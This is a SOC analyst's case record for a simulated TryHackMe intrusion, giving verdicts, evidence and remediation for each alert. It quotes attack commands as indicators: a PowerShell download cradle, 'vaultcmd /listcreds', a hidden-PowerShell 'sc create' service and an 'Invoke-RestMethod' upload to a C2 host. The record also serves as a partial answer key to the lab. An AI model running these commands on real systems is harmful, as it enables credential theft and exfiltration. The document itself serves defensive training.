Repossessed (TryHackMe SOC Simulator): Case Report Record

Link to the SOC Simulator on TryHackMe

Scenario: TryHatMe Studios, launch of the NeuralNexus platformer. A Marketing workstation spawns a process it should not. 9 alerts, simulated environment. Clock note: use the event timestamp in each alert, not the queue time (the queue runs 1 to 2 minutes off). After a simulation restart, all event times shifted by about 2.5 minutes. Times below are from the later session. Search note: the host field holds the ingest endpoint (10.10.232.67:8989). Filtering on host="THM-..." returns zero. Filter on ProcessGuid, SourceIp, file paths or IPs instead.

Attack chain (event times)

Things the logs could not prove (state these in reports)

• Where svc-mktshare credentials came from (vault enumeration is a likely source, unconfirmed).
• Command output (process logs do not capture it): treat the domain user list and vault entries as exposed.
• The macro inside the .docm (inferred from the extension and Word spawning PowerShell) and how the file reached the user.
• Whether the archive existed on disk (no file-create event) and whether the upload was received (attempt only).
• Decoy: ai.exe (Office ML helper, .onnx argument) started by Word 1 ms before the malicious PowerShell is benign.

Alert 6353: Suspicious Child Process Spawned (Execution)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:36

• Related: THM-MSMITH (10.60.10.22), TRYHATME\m.smith, WINWORD.EXE PID 6184, C:\Users\m.smith\Downloads\Q3_PressKit_Feedback.docm, 32-bit powershell.exe PID 8572 (GUID {3af46175-3907-6a90-951d-000000001200}).
• Why TP: Word launched PowerShell with -NoP -W Hidden -Enc. Decoded: downloads http://paylink-cdn.thm:8067/svchost_update.ps1 to %TEMP% and runs it hidden with ExecutionPolicy Bypass. Code from outside the organisation ran.
• Why escalate: initial execution of a multi-host intrusion.
• Remediation: isolate hosts, quarantine the docm, block the C2, remove the script, reset credentials, restrict macros.
• Indicators: the docm path, the encoded command, the stager URL, %TEMP%\svchost_update.ps1, 45.147.230.131:8067.

Alert 6354: Suspicious Outbound Connection Following Document Execution (C2)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:39

• Related: same host, PID 8572 (first connection) and PID 9356 (52 later connections), destination paylink-cdn.thm / 45.147.230.131:8067.
• Why TP: 53 connections between 17:35:39 and 17:56:02 (about 20 min 23 s) to an external IP on a non-standard port, starting 3 seconds after Word spawned PowerShell. No business relationship; destination hosts the payload and later received the archive upload.
• Why escalate: C2 channel of an active intrusion.
• Remediation: block the domain and IP, isolate hosts, hunt for other connections.

Alert 6355: Anomalous Credential Vault Access (Credential Access)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:41

• Related: THM-MSMITH, m.smith, VaultCmd.exe PID 10872, parent PowerShell PID 9356 running svchost_update.ps1 from the user Temp folder.
• Why TP: vault listing launched by a hidden, policy-bypassing script named like a system file, on a Marketing workstation, not by support staff.
• Credentials exposed: /listcreds lists entries, the output is not logged, so treat every Windows vault credential on the host as exposed.
• Remediation: isolate, reset m.smith and all vault credentials, remove the script.
• Indicators: vaultcmd /listcreds:"Windows Credentials", the script path, parent GUID {3af46175-390a-6a90-991d-000000001200}, csc.exe compile at 17:35:41.026.

Alert 6356: Rapid Domain and Host Enumeration from Non-Administrative Host (Discovery)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:40:41

• Related: THM-MSMITH, m.smith, PID 9356, DC-01.
• Why TP: three enumeration commands in 172 ms from a hidden script on a standard-user Marketing host; targets Domain Admins and domain controllers; followed by lateral movement.
• Evidence limitation: command output is not captured; treat domain users and Domain Admins membership as exposed.
• Remediation: isolate, reset, review privileged accounts, review DC-01 logs, detect net/nltest bursts from non-admin hosts.

Alert 6357: Suspicious Remote Logon and Service Creation (Lateral Movement)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:43:11

• Related: THM-SREYES (10.60.10.20), source THM-MSMITH (10.60.10.22), TRYHATME\svc-mktshare (Logon ID 0x24F6572), service SvcUpdate (LocalSystem, manual start), sc \\THM-SREYES create SvcUpdate binpath= "cmd.exe /c start /b powershell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\svchost_update.ps1".
• Why TP: service binary path is a hidden PowerShell command, not an executable; network logon (Type 3) from 10.60.10.22; C$ and IPC$ access at 17:42:41; service started at 17:46:06 and the script ran as SYSTEM.
• Why escalate: SYSTEM-level execution on a second host with a compromised service account.
• Remediation: reset svc-mktshare, delete SvcUpdate, isolate both hosts, hunt for 4697/7045 and the script name, restrict remote admin-share access for service accounts.

Alert 6359: Suspicious Archive Utility Execution (Collection)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:50:02

• Related: THM-SREYES, SYSTEM, PowerShell PID 14264 (GUID {3af46175-3bfc-6a90-a41c-000000001100}), 7z.exe PID 9104, C:\Dev\NeuralNexus\Build\*, C:\Windows\Temp\nx_build_beta.7z.
• Why TP: 7-Zip launched by the hidden script (script block at 17:50:01), archive written to C:\Windows\Temp not a backup location, same process beaconing to the C2 before and after, same script as 6355.
• Evidence limitation: no file-create event for the archive.
• Remediation: isolate, block the C2, preserve the script, assess exposure of the NeuralNexus build.

Alert 6360: Suspicious External Connection Following Archive Creation (Exfiltration)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:51:07 (upload script block 17:51:05)

• Related: THM-SREYES, PID 14264, paylink-cdn.thm / 45.147.230.131:8067, nx_build_beta.7z.
• Why TP: script block shows Invoke-RestMethod -Method Post -InFile C:\Windows\Temp\nx_build_beta.7z to the C2; 15 connections from 17:46:06 to 17:55:49 (about 9 min 42 s) at roughly 30 s intervals; non-standard port, unapproved destination.
• Wording: attempted exfiltration; receipt by the server and bytes sent are unconfirmed.
• Remediation: isolate, block, check proxy logs for upload size, notify legal and management.

Second exfiltration-rule alert: CrashReportArchiver (17:48:11)

Verdict: False positive | Escalation: No | Time: 2026-10-25T17:48:11

• Related: THM-SREYES, powershell.exe PID 12408, scheduled task CrashReportArchiver, C:\ProgramData\CrashReports\crashlogs.7z, telemetry-vendor.thm (104.18.32.47:443).
• Why FP: launched by the Task Scheduler service; archives only *.log crash files; HTTPS on 443; 2 connections 1 ms apart, not a beacon; upload failed (event 4100); no link to the svchost_update.ps1 chain.
• Remediation: no response; tune the detection to exclude this task and vendor.
• Open check: whether the vendor is on an approved list in the Documentation tab.

Alert 6352

Not captured in this record. Same rule as 6353 (Suspicious Child Process). Likely the Office helper ai.exe, which is benign. Add its verdict here if you want the record complete.

Writeup plan

Frame as a TryHackMe SOC simulator case study, not a real incident. Teach the method (linking alerts by process GUID, queue vs event time, the host= filter trap, the false positive, what the logs could not prove). Avoid listing answer values as a walkthrough, and check the room's rules on publishing.